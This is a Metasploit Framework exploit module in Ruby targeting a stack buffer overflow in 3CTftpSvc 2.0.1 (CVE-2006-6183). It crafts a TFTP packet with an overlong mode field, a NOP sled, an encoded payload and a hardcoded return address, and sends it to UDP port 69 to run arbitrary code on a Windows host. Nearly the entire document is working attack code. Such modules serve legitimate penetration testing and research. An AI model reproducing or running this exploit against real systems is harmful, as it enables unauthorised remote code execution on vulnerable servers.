3CTftpSvc TFTP Long Mode Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => '3CTftpSvc TFTP Long Mode Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in 3CTftpSvc 2.0.1. By   
sending a specially crafted packet with an overly long mode  
field, a remote attacker could overflow a buffer and execute  
arbitrary code on the system.  
},  
'Author' => 'MC',  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2006-6183'],  
['OSVDB', '30758'],  
['BID', '21301'],  
['URL', 'http://secunia.com/advisories/23113/'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ '3CTftpSvc 2.0.1', { 'Ret' => 0x00402b02 } ],  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 27 2006'))  
  
register_options([Opt::RPORT(69)], self.class)  
  
end  
  
def exploit  
connect_udp  
  
sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)  
sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"   
  
print_status("Trying target #{target.name}...")  
  
udp_sock.put(sploit)  
  
disconnect_udp   
end  
  
end  
`